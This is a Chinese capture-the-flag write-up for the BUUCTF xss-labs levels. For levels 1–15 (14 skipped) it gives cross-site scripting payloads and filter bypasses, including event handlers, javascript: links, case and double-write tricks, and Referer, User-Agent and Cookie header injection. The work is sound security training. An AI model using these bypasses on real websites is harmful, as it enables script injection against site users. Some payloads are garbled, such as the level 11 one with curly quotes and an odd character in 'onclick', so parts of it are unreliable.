BUU XSS-LABS 1-10题
题目来源
BUUCTF
中的xss-lab
对题目没有思路的可以查看github上的
源代码
payload的构造方式有很多种,可以阅读浏览
payload
第一题
首先关注xss的输入点,发现在url栏中进行输入,尝试对name进行赋值,构造常规payload:name=
<script>alert(1)</script>
第二题
xss输入点在搜索栏中,同样试试常规payload
<script>alert(1)</script>
,发现并没有出现想要的弹窗
查看网页的源代码
<input name=keyword value="<>test">
发现函数使用input对<>进行了html实体,尝试进行闭合操作
构造payload:
"><script>alert(1)</script><"
第三题
这里利用了
.htmlspecialchars
这个函数会转换双引号,不转换单引号的功能
尝试构造payload:
' onclick=alert(1) '
输入后无反应,别忘了点击搜索框
第四题
观察代码,发现不能有<和>
尝试构造payload:
" onclick=alert(1) "
,别忘了单击
第五题
观察代码,需要避开他拉黑的函数,script过滤了,onclick也过滤了 使用其它的方式尝试触发
"><a href="javascript:alert(/xss/)">alert</a> <"
第六题
对上一关的 href 做了过滤,测了一下前五关的payload,在结合后端代码可以使用双写、大小写方式绕过:
"><a HREf="javascript:alert(/xss/)">alert</a> <"
第七题
发现存在str_replace函数,该函数只对字符串进行一次查找替换,可以试试重复输入
"><scrscriptipt>alert(1)</scrscriptipt>
第八题
程序将 script 中的 ri 变成了 r_i 所以不能使用script尝试对script进行编码将 ri 转换为 html 实体编码
所以不能使用
<script>
尝试构造payload:
javascript:alert(1)
第九题
多了个strpos函数 其作用是输入的字符串里面必须要有http://字符,加上在注释掉
尝试构造payload:
javascript:alert(1)//http://
第十题
在url上操作
<script>
,显然不行,发现有三个input对三个变量赋值 发现只有 t_sort 接受参数值 说明了只有 t_sort 的过滤有效果
" onclick=alert(1) type="text" ><
说明了只有 t_sort 的过滤有效果
" onclick=alert(1) type="text" ><
第十一题
*观察代码,发现又是只有
t_sort
可用,又是第十题?,输入payload失败,发现了双引号被转义
一.尝试在针对t_ref中的请求包refer字段下手.了解什么是
refer
。
使用burp在HTTP头中加入Referer: test” type=“text” οnclick=”alert(1),这样就可以发送HTTP_REFERER。
**
第十二题
*查看题目的源代码,发现十二题和十一题有很多相似之处,说明解题的方法相似 发现http请求头的User-Agent,于是尝试修改User-Agent的值来拼接代码,通过burpsuite的抓包功能实现,
输入
" type="text" onmousemove="alert(1)
然后在放包
第十三题
这题的解法和上面两题异曲同工,观察源代码,发现这道题的突破点在于cookie。burp suite抓包,修改cookie值即可。
" type="text" onmousemove="alert(1)
第十四题
靶场似乎出错了。暂且不谈
第十五题
观察代码,此题运用
ng-include
指令,可以先了解一下,指令用于包含外部的 HTML 文件。我们包含第一关的漏洞即可,
http://127.0.0.1/xss-labs-master/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'